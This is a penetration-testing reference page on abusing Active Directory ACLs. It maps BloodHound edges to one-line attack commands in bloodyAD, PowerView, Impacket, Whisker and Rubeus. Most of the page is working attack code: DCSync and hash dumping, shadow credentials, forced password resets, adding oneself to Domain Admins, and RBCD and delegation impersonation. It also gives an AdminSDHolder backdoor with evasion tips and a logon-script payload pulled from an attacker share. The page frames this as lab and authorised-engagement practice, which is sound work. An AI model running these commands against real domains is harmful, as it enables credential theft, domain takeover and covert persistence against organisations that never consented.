FLOW^:Pentest Workflow

Stage 06 — ACL and Object Abuse

Pentest attack-flow reference for stage 06 — acl and object abuse in an authorised engagement.

advancedupdated 2026-08-29BloodyAD · PowerView · Impacket · BloodHound

[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow

Section: 09 of 17 · Focus: Stage 06 — ACL and Object Abuse

Previous: Stage 05 — Kerberos Attacks · Next: Stage 07 — ADCS and Certificate Abuse


🩸 STAGE 6 — ACL & Object Abuse (BloodHound edges)

This is where BloodHound edges become shells. bloodyAD is my driver — it talks LDAP/LDAPS/SAMR straight to the DC and turns every ACL edge into one write. PowerView (Windows foothold) and Impacket (Linux) are the equivalents when bloodyAD isn’t an option. Workflow: collect the graph → click the outbound edge → find it below → copy the one-liner → reverse it in cleanup.

[!tools] Stage this PowerView.ps1 (SHA-256 · GPG signature) — PowerSploit PowerView: Find-InterestingDomainAcl, Get-DomainObjectAcl, Add-DomainObjectAcl, Set-DomainObjectOwner, Set-DomainUserPassword. AMSI-bypass first on modern boxes; SharpView is the C# port if PowerShell is constrained. StandIn_v13_Net35_45.zip (SHA-256 · GPG signature) — StandIn: small C# ACE/object manipulator that flies under PowerShell logging — owner/ACE grants, group adds, AS-REP/RBCD flips, LAPS read. targetedKerberoast.py (SHA-256 · GPG signature) — targetedKerberoast: one-shot Linux GenericWrite abuse — sets SPN, roasts, prints hashcat-ready hash. Whisker.exe (SHA-256 · GPG signature) — Whisker: Windows-side Shadow Credentials (writes msDS-KeyCredentialLink); pair with Rubeus asktgt /getcredentials for the PKINIT+UnPAC tail. Linux twin: pywhisker.

Link-only drivers: bloodyAD · Impacket (dacledit.py, owneredit.py, rbcd.py, addcomputer.py) · NetExec · autobloody · evil-winrm.

[!note] Auth block for every bloodyAD call Every command uses -d "$DOMAIN" -u "$U" -p "$P" --host "$DC". Swap -p "$P" for -p ':<NThash>' to pass-the-hash, add -k for Kerberos, -s for LDAPS (so writes aren’t cleartext). If the DC name won’t resolve, add -i "$IP" --dns "$IP". Full auth matrix + verbs in BloodyAD.


ACE primer — what each edge actually means

Every BloodHound abuse edge is an ACE in the target’s security descriptor. Read this table once, then every section below is just “which write do I get”.

ACE / BloodHound edgeAD right (GUID family)What it lets me doGo-to abuse
GenericAllRIGHT_GENERIC_ALL (full control)Everything: write any attr, rewrite DACL, take ownershipShadow creds / targeted roast (user) · group add (group) · RBCD (computer)
GenericWriteRIGHT_GENERIC_WRITEWrite most attributes, not the DACL, not passwordTargeted Kerberoast (plant SPN) · shadow creds · logon script · UAC flips
WriteDaclWRITE_DACRewrite the object’s DACLGrant self GenericAll; on domain root → grant DCSync
WriteOwner / OwnsWRITE_OWNERSeize ownership → owner always controls the DACLOwn it → grant self GenericAll (two-step WriteDacl)
ForceChangePasswordUser-Force-Change-Password extended rightReset password without knowing the old oneSet-DomainUserPassword / bloodyAD set password (loud)
AddMember / AddSelfWrite on group’s member attribute (AddSelf = validated write, self only)Add accounts (or just me) to the groupnet group / Add-DomainGroupMember / bloodyAD add groupMember
AllExtendedRightsRIGHT_DS_CONTROL_ACCESS (all ext. rights)All extended rights at onceOn domain root = DCSync now (no write needed); on user = password reset
Self (validated)Validated write bound to the object itselfe.g. self-service group membership, SPN self-writeContext-dependent — check which validated write the GUID maps to
WriteProperty (SPN)Write on servicePrincipalNameSet/clear SPNs onlyTargeted Kerberoast (plant SPN → roast → remove)
WriteProperty (logonscript)Write on scriptPathSet a logon script UNC pathFires at victim’s next interactive logon
WriteProperty (msDS-KeyCredentialLink) = AddKeyCredentialLinkWrite key credentialsShadow Credentials → PKINIT → NT hash, no password touch
ReadLAPSPasswordRead ms-Mcs-AdmPwd / msLAPS-PasswordRead the machine’s local admin passwordGet-DomainComputer … ms-mcs-admpwd / LAPSToolkit (quiet read)
ReadGMSAPasswordRead msDS-ManagedPasswordRead a gMSA’s current password blob → derive NT hashDSInternals / gMSADumper (quiet read)
DS-Replication-Get-Changes(-All)1131f6aa/1131f6ad/…-9c15-002f18460f81 GUIDs on domain rootReplicate directory dataDCSync — secretsdump.py / mimikatz lsadump::dcsync (see Stage 10)

[!tip] ACE algebra GenericAll ⊇ GenericWrite + WriteDacl + WriteOwner — a GenericAll target is vulnerable to every attack listed under the lesser rights. WriteOwner → WriteDacl → GenericAll is the standard promotion chain: owner can always rewrite the DACL regardless of what the DACL says.

Two rights deserve special attention because they hide in plain sight:

  • Self is meaningless until you resolve the ObjectAceType GUID — it might be “add self to group” (gold) or “write my own phone number” (nothing). Get-DomainObjectAcl -ResolveGUIDs or dacledit.py -action read will tell you.
  • ReadLAPSPassword/ReadGMSAPassword never appear as “dangerous” in some collectors but are pure credential theft with zero modification events — always check inbound read edges, not just write edges.

Reading ACLs — find the edge before you swing it

# BloodHound CE collection (the graph IS the ACL map) — see Stage 04 for collector options
bloodhound-python -d "$DOMAIN" -u "$U" -p "$P" -ns "$IP" -c All --zip
# nxc one-liner collector:
nxc ldap "$IP" -u "$U" -p "$P" --bloodhound -c All --dns-server "$IP"

# bloodyAD: everything I can write to — start here
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get writable --detail

# which ACEs I actually hold on a target (Owner / WriteDacl / GenericWrite / GenericAll)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get object victim --resolve-sd
# Impacket equivalents
findDelegation.py "$DOMAIN"/"$U":"$P" -dc-ip "$IP"          # delegation edges
dacledit.py -action read -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"   # raw DACL dump

# nxc — quick delegation + group context sweeps
nxc ldap "$IP" -u "$U" -p "$P" --find-delegation
nxc ldap "$IP" -u "$U" -p "$P" -M get-desc-users            # stray creds while you're here
# PowerView (Windows foothold) — the classic enumeration trio
Find-InterestingDomainAcl -ResolveGUIDs | ? { $_.IdentityReferenceName -match "$env:USERNAME" }
Get-DomainObjectAcl -Identity victim -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner|GenericWrite' }
# domain-root replication rights (who can DCSync already?)
Get-DomainObjectAcl -Identity 'DC=corp,DC=local' -ResolveGUIDs |
  ? { $_.ObjectAceType -match 'Replicating' }

BloodHound Cypher — outbound object control from my user:

MATCH p=(n {name:'YOU@DOMAIN.LOCAL'})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword|AddMember|AllExtendedRights]->(m) RETURN p
// and the money query — shortest path to DA:
MATCH p=shortestPath((n {name:'YOU@DOMAIN.LOCAL'})-[*1..]->(m {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p

[!tip] Don’t trust one source BloodHound edges are a snapshot — re-confirm the ACE with bloodyAD get object victim --resolve-sd or dacledit.py -action read before burning a write. Stale graph data is the #1 cause of “the one-liner didn’t work”. Group membership changes also take effect only on next logon/TGT — bloodyAD re-authenticates per call, PowerView/klist sessions don’t.


Edge → command quick index

BloodHound edgebloodyAD one-linerPowerView / Impacket equivalent
Owns / WriteOwnerset owner victim "$U" → add genericAll victim "$U"Set-DomainObjectOwner / owneredit.py → dacledit.py
WriteDacladd genericAll victim "$U" (or add dcsync "$U" on domain)Add-DomainObjectAcl / dacledit.py -rights FullControl|DCSync
GenericAll (user)add shadowCredentials victimcertipy shadow auto / pywhisker / Whisker.exe
GenericAll (group)add groupMember 'Domain Admins' "$U"Add-DomainGroupMember / ldap_shell
GenericAll (computer)add rbcd 'TARGET$' 'ATTACKER$'rbcd.py -action write / shadow creds on TARGET$
GenericWriteset object victim servicePrincipalName -v 'HTTP/x'Set-DomainObject -Set @{serviceprincipalname=…} / targetedKerberoast.py
ForceChangePasswordset password victim 'Newpass123!'Set-DomainUserPassword / net rpc password
AddSelf / AddMemberadd groupMember 'Domain Admins' "$U"Add-DomainGroupMember / net group "Domain Admins" $U /add /domain
AddKeyCredentialLinkadd shadowCredentials victimcertipy shadow auto / pywhisker
AllExtendedRights / DCSyncadd dcsync "$U" → secretsdump.pydacledit.py -rights DCSync → secretsdump.py
AddAllowedToActadd rbcd 'TARGET$' 'ATTACKER$'rbcd.py -action write
ReadLAPSPasswordget object TARGET$ --attr msLAPS-PasswordGet-DomainComputer … ms-mcs-admpwd / nxc ldap --laps
ReadGMSAPasswordget object gmsa$ --attr msDS-ManagedPasswordDSInternals Get-ADReplAccount / gMSADumper.py

Owns / WriteOwner

What to look for: an Owns or WriteOwner edge to a user/group/computer. The owner can always rewrite the DACL, so this is full control in two steps.

Exploit:

# 1. take ownership
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set owner victim "$U"
# 2. grant myself GenericAll — now do any GenericAll attack below
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add genericAll victim "$U"
# Impacket equivalent
owneredit.py -action write -new-owner "$U" -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
dacledit.py  -action write -rights FullControl -principal "$U" -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
# PowerView equivalent
Set-DomainObjectOwner -Identity victim -OwnerIdentity $U
Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity $U -Rights All

[!warning] Watch out set owner is not rolled back by autobloody and leaves a durable IOC (4670/5136). Note the original owner (owneredit.py -action read) and hand it back in cleanup. On adminCount=1 targets the grant is reverted by SDProp within 60 min — act fast, or backdoor AdminSDHolder instead.


WriteDacl

What to look for: a WriteDacl edge. Grant yourself full control on the object — or, if the edge is on the domain root, grant yourself DCSync.

Exploit:

# grant self full control over the object
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add genericAll victim "$U"

# WriteDacl on the DOMAIN object → grant DCSync, then replicate
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add dcsync "$U"
secretsdump.py "$DOMAIN"/"$U":"$P"@"$IP"
# Impacket equivalent — SNAPSHOT FIRST (see OPSEC section), then write
dacledit.py -action backup -target-dn "DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
dacledit.py -action write -rights DCSync -principal "$U" -target-dn "DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
# ...dump, then restore:
dacledit.py -action restore -file dacledit-*.bak "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
# PowerView equivalent
Add-DomainObjectAcl `
  -TargetIdentity 'DC=corp,DC=local' `
  -PrincipalIdentity $U `
  -Rights DCSync

[!warning] Watch out Leaving DCSync on a low-priv user is a permanent IOC. Always remove dcsync "$U" after you’ve dumped. WriteDacl → DCSync is the single most common ACL escalation — many envs don’t even audit 4662/5136, but assume they do.


GenericAll

What to look for: the nuclear edge — superset of GenericWrite + WriteDacl + WriteOwner. Pick the exploit by target type.

Exploit:

# USER → recover NT hash via shadow creds (quiet, reversible) — preferred
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim

# USER → reset password (loud, breaks their logon)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set password victim 'Newpass123!'

# USER → targeted Kerberoast (works without PKINIT/ADCS)
python3 targetedKerberoast.py -d "$DOMAIN" -u "$U" -p "$P" --only-abuse --dc-ip "$IP"

# GROUP → add myself
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add groupMember 'Domain Admins' "$U"

# COMPUTER → option A: RBCD (see delegation below)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add rbcd 'TARGET$' 'ATTACKER$'
# COMPUTER → option B: shadow credentials on the machine account → its NT hash → local admin
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials 'TARGET$'

Windows-foothold equivalent (Whisker.exe — staged above):

# add a key credential to the target (user or computer)
.\Whisker.exe add /target:victim /domain:$DOMAIN /dc:$DC
# -> note the DeviceID for cleanup; Whisker prints a ready-made Rubeus command:
.\Rubeus.exe asktgt /user:victim /certificate:<Base64PFX> /password:"<pfxpass>" /domain:$DOMAIN /dc:$DC /getcredentials /show /nowrap
# cleanup: .\Whisker.exe remove /target:victim /deviceid:<DeviceID>

[!tip] GenericAll on a GROUP → cascade Add yourself to a group that holds GenericWrite over service accounts, then shadow-cred each member — all in bloodyAD. It re-authenticates on every call, so the new membership (and its inherited rights) is live on the very next command with no re-login. This is the Fluffy chain: add groupMember 'Service Accounts' "$U" → add shadowCredentials winrm_svc → add shadowCredentials ca_svc.

[!warning] Watch out Since GenericAll ⊇ GenericWrite, every GenericWrite attack (targeted Kerberoast, logon script, AS-REP) also works on this target. On a computer target, RBCD needs ms-DS-MachineAccountQuota > 0 to create ATTACKER$; shadow creds on TARGET$ don’t (no new object needed).


GenericWrite

What to look for: write to (most) attributes but not the DACL. No password reset — but you can plant an SPN, a Key Credential, a logon script, or flip a UAC flag.

Exploit:

# Targeted Kerberoast — Linux one-shot (staged above): plant SPN → roast → auto-cleanup
python3 targetedKerberoast.py -d "$DOMAIN" -u "$U" -p "$P" --dc-ip "$IP"
#   -v verbose · --only-abuse only roast objects I control · --no-cleanup skip SPN removal (don't)
hashcat -m 13100 roast.txt rockyou.txt

# Manual equivalent — plant SPN → roast → REMOVE THE SPN (always)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim servicePrincipalName -v 'HTTP/fake.'"$DOMAIN"
GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip "$IP" -request-user victim -outputfile roast.txt
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim servicePrincipalName   # cleanup (omit -v = clear)

# Shadow credentials (also reachable via GenericWrite) — best route if ADCS/PKINIT present
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim

# Targeted AS-REP roast — set DONT_REQ_PREAUTH → grab AS-REP → unset
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add uac victim -f DONT_REQ_PREAUTH
GetNPUsers.py "$DOMAIN"/victim -no-pass -dc-ip "$IP" -format hashcat -outputfile asrep.hash
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove uac victim -f DONT_REQ_PREAUTH

# Logon-script abuse — fires at victim's next INTERACTIVE logon
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object victim scriptPath -v '\\'"$LHOST"'\share\run.bat'
# PowerView equivalent from a Windows foothold
Set-DomainObject -Identity victim -Set @{
  serviceprincipalname = 'fake/kerberoast'
}
.\Rubeus.exe kerberoast /user:victim /outfile:roast.txt
Set-DomainObject -Identity victim -Clear serviceprincipalname
# StandIn (staged above) — when PowerShell logging/AMSI is a problem
.\StandIn.exe --object samaccountname=victim --set spn "HTTP/fake.$DOMAIN"
.\StandIn.exe --object samaccountname=victim --remove spn
.\StandIn.exe --object samaccountname=victim --asrep        # flip DONT_REQ_PREAUTH

[!warning] Watch out GenericWrite does not include User-Force-Change-Password — you cannot reset the password with it. Use shadow creds or Kerberoast. scriptPath only fires on an interactive logon, so it’s useless against a service account that never touches a desktop. GenericWrite on a group ≠ AddMember — you need GenericAll/AddMember for that. A planted SPN left behind is a trivial IOC (setspn -Q / BloodHound) — remove it the moment the TGS lands.

WriteProperty variants (scoped writes): a WriteProperty ACE limited to one attribute is just GenericWrite with blinders. Read the ACE’s ObjectAceType GUID (-ResolveGUIDs) to know which attribute you can touch:

WriteProperty targetAbuseNotes
servicePrincipalNameTargeted Kerberoast (set → roast → clear)Also granted by the Self validated-write on some objects
scriptPath (logon script)UNC path to a payload; fires at interactive logonPair with a Responder/SMB capture share if execution is slow
msDS-KeyCredentialLinkShadow CredentialsSee dedicated section
userAccountControlFlip DONT_REQ_PREAUTH (AS-REP roast) or delegation flagsRevert with remove uac
member (on a group)AddMemberSee dedicated section
msDS-AllowedToActOnBehalfOfOtherIdentityRBCDSee delegation section

ForceChangePassword

What to look for: the User-Force-Change-Password extended right — reset the password without knowing the old one. Single-purpose, but one reset of a DA/service account = domain.

Exploit:

bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set password victim 'Newpass123!'
# Samba/RPC equivalents from Linux
rpcclient -U "$DOMAIN/$U%$P" "$DC" -c "setuserinfo2 victim 23 Newpass123!"
net rpc password victim 'Newpass123!' -U "$DOMAIN/$U%$P" -S "$DC"
# PowerView equivalent
$NewPassword = ConvertTo-SecureString 'Newpass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity victim -AccountPassword $NewPassword

[!tip] Prefer the quiet alternative If the same edge set also gives you GenericWrite/GenericAll on the victim, skip the reset — shadow credentials get you the NT hash (and a cert) without touching unicodePwd. The victim keeps working, no 4724 fires, and there’s nothing to “change back” beyond removing a DeviceID. ForceChangePassword is the fallback for environments without PKINIT where roasting failed (strong password).

# the quiet alternative in one line (requires PKINIT)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim

[!warning] Watch out Password reset is the loudest ACL attack — the victim is locked out instantly and it fires 4724. If you also hold GenericWrite/GenericAll, prefer shadow credentials (original password keeps working). If you must reset, note the box owner and reset back on an engagement. Also: resetting an account used by a running service breaks the service — check servicePrincipalName and logon events before you swing.


AddSelf / AddMember

What to look for: write to the group’s member attribute (AddSelf = you may only add yourself). Instant escalation if it’s a privileged group.

Exploit:

bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add groupMember 'Domain Admins' "$U"
# verify + cleanup
nxc smb "$IP" -u "$U" -p "$P" -x "whoami /groups"
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove groupMember 'Domain Admins' "$U"
# Windows equivalents
net group "Domain Admins" $U /add /domain
Add-DomainGroupMember -Identity 'Domain Admins' -Members $U        # PowerView
.\StandIn.exe --group "Domain Admins" --add $U                      # StandIn
# cleanup:  net group "Domain Admins" $U /del /domain
# Impacket / Linux equivalents
# ldap_shell:  add_user_to_group me "Domain Admins"
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get group 'Domain Admins' --attr member   # verify before/after

[!tip] Grab what you need, then leave If I add myself to Domain Admins, I DCSync the KRBTGT hash immediately, then remove groupMember — the shorter the membership window (4728/4756), the less likely the alert lands. Membership isn’t live for tools that cache a TGT — request a fresh ticket (klist purge / new getTGT.py) or use bloodyAD which re-auths per call.

AddSelf vs AddMember: with AddSelf you can only add yourself — no staging a second backdoor account. Plan your single seat accordingly.


ReadLAPSPassword / ReadGMSAPassword — quiet reads

What to look for: read rights on ms-Mcs-AdmPwd (legacy LAPS), msLAPS-Password (Windows LAPS) on a computer, or msDS-ManagedPassword on a gMSA. These are reads, not writes — no modification events, just directory access (4662 if SACLs exist at all). Best-value edges in the graph.

# PowerView — legacy LAPS
Get-DomainComputer -Identity TARGET -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
# LAPSToolkit:  Get-LAPSComputers | findstr TARGET   ·   SharpLAPS.exe
# Linux / nxc — one shot, also checks readability automatically
nxc ldap "$IP" -u "$U" -p "$P" -M laps          # or --laps on newer builds
# gMSA password blob → NT hash
python3 gMSADumper.py -u "$U" -p "$P" -d "$DOMAIN" -l "$IP"
# bloodyAD raw read
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" get object 'gmsa_svc$' --attr msDS-ManagedPassword
# DSInternals — gMSA blob → NT hash from a Windows foothold
$blob = (Get-ADServiceAccount -Identity gmsa_svc -Properties msDS-ManagedPassword).'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
ConvertTo-NTHash $mp.SecureCurrentPassword

[!tip] OPSEC — reads are quiet, writes are loud LAPS/gMSA reads touch nothing on the target and fire no object-modification events — at worst a 4662 on the DC if the attribute SACL is audited (rare). Compare with a password reset (4724) or group add (4728). When the graph offers both a read and a write path to the same host, take the read every time.


AllExtendedRights / DCSync

What to look for: AllExtendedRights on the domain root means you already hold DS-Replication-Get-Changes(-All) — DCSync with no DACL modification needed. On a user it grants User-Force-Change-Password.

Exploit:

# domain root → replicate straight away (you already have the right)
secretsdump.py "$DOMAIN"/"$U":"$P"@"$IP" -just-dc-user krbtgt
secretsdump.py "$DOMAIN"/"$U":"$P"@"$IP"                      # full dump

# only need to GRANT it? (WriteDacl on domain) — then dump, then remove
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add dcsync "$U"
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove dcsync "$U"
# mimikatz on a DC-adjacent foothold (same rights, no Linux needed)
lsadump::dcsync /domain:$DOMAIN /user:krbtgt

[!warning] Watch out AllExtendedRights differs from WriteDacl: no need to add the right, you already have it — don’t waste a noisy dacledit write. Replication fires 4662; a low-priv account DCSyncing is a screaming signature, so grab KRBTGT + targets and get out. What to do with the dumped hashes (PtH, golden ticket, offline crack): Stage 10 — Lateral Movement. Deep dive: 🟡 Attack.

Practical order of operations on the domain root:

  1. secretsdump.py … -just-dc-user krbtgt — krbtgt first (golden ticket capability).
  2. Then the specific DA/service accounts you actually need.
  3. Only then, if required, the full dump — every additional replicated attribute widens the 4662 footprint.

What to look for: write to msDS-KeyCredentialLink (via GenericWrite / GenericAll / WriteDacl / AddKeyCredentialLink) with PKINIT/ADCS present and DFL 2016+. Stealthiest takeover — no password change, survives resets.

Exploit:

# bloodyAD does the WHOLE attack: adds the key, does PKINIT, PRINTS the NT hash — no Certipy needed
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim
#   [+] NT hash via PKINIT: a9285c625af80519ad784729655ff325

# save the recovered TGT/pfx to a path, then clean up the key
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add shadowCredentials victim --path /tmp/victim
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove shadowCredentials victim

# log in with the recovered hash (winrm_svc example)
evil-winrm -i "$DC" -u victim -H a9285c625af80519ad784729655ff325
# Certipy equivalent (full auto: add key → PKINIT → hash)
certipy-ad shadow auto -u "$U"@"$DOMAIN" -p "$P" -account victim -dc-ip "$IP" -dc-host "$DC"

# pyWhisker + certipy auth (two-step)
pywhisker.py -d "$DOMAIN" -u "$U" -p "$P" --target victim --action add --dc-ip "$IP"
certipy-ad auth -pfx victim.pfx -dc-ip "$IP"
# cleanup:  pywhisker.py … --action remove --device-id <id>

# works on COMPUTER objects too → machine account hash → often local admin on that box
certipy-ad shadow auto -u "$U"@"$DOMAIN" -p "$P" -account 'TARGET$' -dc-ip "$IP" -dc-host "$DC"

Windows foothold: use Whisker.exe + Rubeus (staged at top — see the GenericAll section for exact commands).

[!warning] Watch out PKINIT is Kerberos: use the DC FQDN (--host "$DC", not the IP), and if the DC clock is skewed prefix faketime -f '+7h' … — this is the exact gotcha on boxes like Fluffy. Fails with no ADCS/WHfB or on pre-2016 schema. Writes fire 5136 on msDS-KeyCredentialLink; remove the DeviceID after. Full detail: Shadow Credentials — msDS-KeyCredentialLink Abuse.


Delegation abuse (RBCD / Constrained / Unconstrained)

RBCD (AddAllowedToAct, or GenericWrite/GenericAll on a computer)

What to look for: write to msDS-AllowedToActOnBehalfOfOtherIdentity on a computer → impersonate anyone to a service on it. Needs MAQ > 0 to create a controlled machine.

Exploit:

# 1. create a computer I control (MAQ default = 10)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add computer ATTACKER '$Passw0rd123'
# 2. set the RBCD trust on the target computer
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add rbcd 'TARGET$' 'ATTACKER$'
# 3. S4U → impersonation ticket for Administrator to the target
getST.py -spn cifs/target."$DOMAIN" -impersonate Administrator "$DOMAIN"/'ATTACKER$':'$Passw0rd123' -dc-ip "$IP"
# 4. use it, then clean up
export KRB5CCNAME=Administrator@cifs_target.${DOMAIN}@${DOMAIN^^}.ccache
psexec.py -k -no-pass "$DOMAIN"/Administrator@target."$DOMAIN"
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" remove rbcd 'TARGET$' 'ATTACKER$'
# Impacket-only equivalents for steps 1–2
addcomputer.py -computer-name 'ATTACKER$' -computer-pass '$Passw0rd123' -dc-ip "$IP" "$DOMAIN"/"$U":"$P"
rbcd.py -delegate-from 'ATTACKER$' -delegate-to 'TARGET$' -action write -dc-ip "$IP" "$DOMAIN"/"$U":"$P"
rbcd.py -delegate-to 'TARGET$' -action read  -dc-ip "$IP" "$DOMAIN"/"$U":"$P"    # verify
rbcd.py -delegate-to 'TARGET$' -action flush -dc-ip "$IP" "$DOMAIN"/"$U":"$P"    # cleanup
# PowerView / StandIn from a Windows foothold
$ComputerSid = Get-DomainComputer ATTACKER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject -Identity 'TARGET$' -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# StandIn one-liner:   .\StandIn.exe --rbcd TARGET$ --sid ATTACKER$
# then:                .\Rubeus.exe s4u /user:ATTACKER$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/target.$DOMAIN /ptt

Constrained delegation (S4U2Proxy)

What to look for: an account with msDS-AllowedToDelegateTo populated whose creds you hold — or GenericWrite on it so you create the condition.

Exploit:

# I already control the delegation account → straight S4U impersonation
getST.py -spn CIFS/"$DC" -impersonate Administrator "$DOMAIN"/svc_web:'SvcPass1!' -dc-ip "$IP"

# create the condition myself (GenericWrite on svc_web): flag it + set the target SPN
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add uac svc_web -f TRUSTED_TO_AUTH_FOR_DELEGATION
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object svc_web msDS-AllowedToDelegateTo -v 'CIFS/'"$DC"
getST.py -spn cifs/"$DC" -impersonate Administrator "$DOMAIN"/svc_web:'SvcPass1!' -dc-ip "$IP"

[!tip] /altservice pivot msDS-AllowedToDelegateTo only lists CIFS/DC? The service name isn’t integrity-protected in the ticket — request LDAP/HOST/HTTP on the same host. Rubeus: s4u /user:svc_web /rc4:<hash> /impersonateuser:Administrator /msdsspn:CIFS/DC /altservice:LDAP/DC /ptt → then DCSync via that LDAP ticket.

Unconstrained delegation

What to look for: a non-DC computer with TRUSTED_FOR_DELEGATION. Coerce a DC to auth to it, capture the DC TGT. If I hold GenericWrite on a computer I can set the flag.

# set the flag (then coerce a DC and capture its TGT with Rubeus monitor / krbrelayx)
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add uac 'TARGET$' -f TRUSTED_FOR_DELEGATION
# coerce (Linux):
printerbug.py "$DOMAIN"/"$U":"$P"@"$DC" target."$DOMAIN"

[!warning] Watch out RBCD/constrained fail if the impersonated user is in Protected Users or flagged sensitive — target a different DA (or chain Bronze Bit). Set MAQ to 0 kills the RBCD computer-creation path. Reverse every delegation write: remove rbcd, remove uac … -f TRUSTED_*, delete ATTACKER$. Delegation flips fire 5136/4741; S4U2Proxy fires 4769. Deep dives: 🟠 Attack · 🟠 Attack · 🟠 Attack.


AdminSDHolder persistence (post-DA)

What to look for: once I hold DA (or WriteDacl on CN=AdminSDHolder), plant a backdoor ACE. SDProp propagates it to every protected object every 60 min — self-healing even if blue team strips it off individual objects.

dacledit.py -action write -rights FullControl -principal backdoor_user \
  -target-dn "CN=AdminSDHolder,CN=System,DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" \
  "$DOMAIN"/Administrator:"$P" -dc-ip "$IP"
# PowerView: Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=corp,DC=local' -PrincipalIdentity backdoor_user -Rights All

[!warning] Watch out This is persistence, not escalation — needs DA first. Any AdminSDHolder change is exceptionally rare and a critical-severity alert (5136/4780); SDProp also stamps adminCount=1 on affected users, a queryable IOC. Use a plausible service account as the backdoor principal, not an obvious one. Deep dive: 🟡 Attack.


📬 Exchange Windows Permissions → DCSync (group shortcut)

What to look for → membership in Exchange Windows Permissions. After most Exchange installs this group holds WriteDACL on the domain root — a legacy misconfig that is a one-step path to DCSync (the classic Monteverde-style finish).

Exploit

# grant yourself DCSync via the group's WriteDACL, then replicate
dacledit.py -action write -rights DCSync -principal "$U" \
  -target-dn "DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" "$DOMAIN"/"$U":"$P" -dc-ip $IP
secretsdump.py "$DOMAIN"/"$U":"$P"@$IP -just-dc
# bloodyAD equivalent:
bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host $DC add dcsync "$U"

[!warning] Watch out Same OPSEC as any WriteDacl→DCSync (fires 4662/5136) — remove dcsync after dumping. Deep dive: 🟣 Attack.


Automate the whole path (autobloody)

When BloodHound draws a clean multi-hop chain of writable edges, don’t walk it by hand — let autobloody compute the cheapest route in Neo4j and fire each edge through bloodyAD:

autobloody -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" -dp 'neo4jpass' \
  -ds 'YOU@'"${DOMAIN^^}" -dt 'DOMAIN ADMINS@'"${DOMAIN^^}" -v

[!warning] Watch out Rollback is automatic but partial — it reverses group adds / DACL grants / shadow-cred links but leaves ForceChangePassword and setOwner in place. Review the path before -y: if the cheapest route runs through a real account’s password reset, that reset is permanent. Labels are case-sensitive UPPERCASE NAME@DOMAIN. Cross a non-writable edge (AdminTo, HasSession, CanRDP) and it stops — bridge by hand and re-run. Full flag reference: Autobloody.


🛡️ OPSEC & detection — snapshot, revert, expect the alert

Rule zero: snapshot the security descriptor BEFORE any write. Every revert below assumes you have the original.

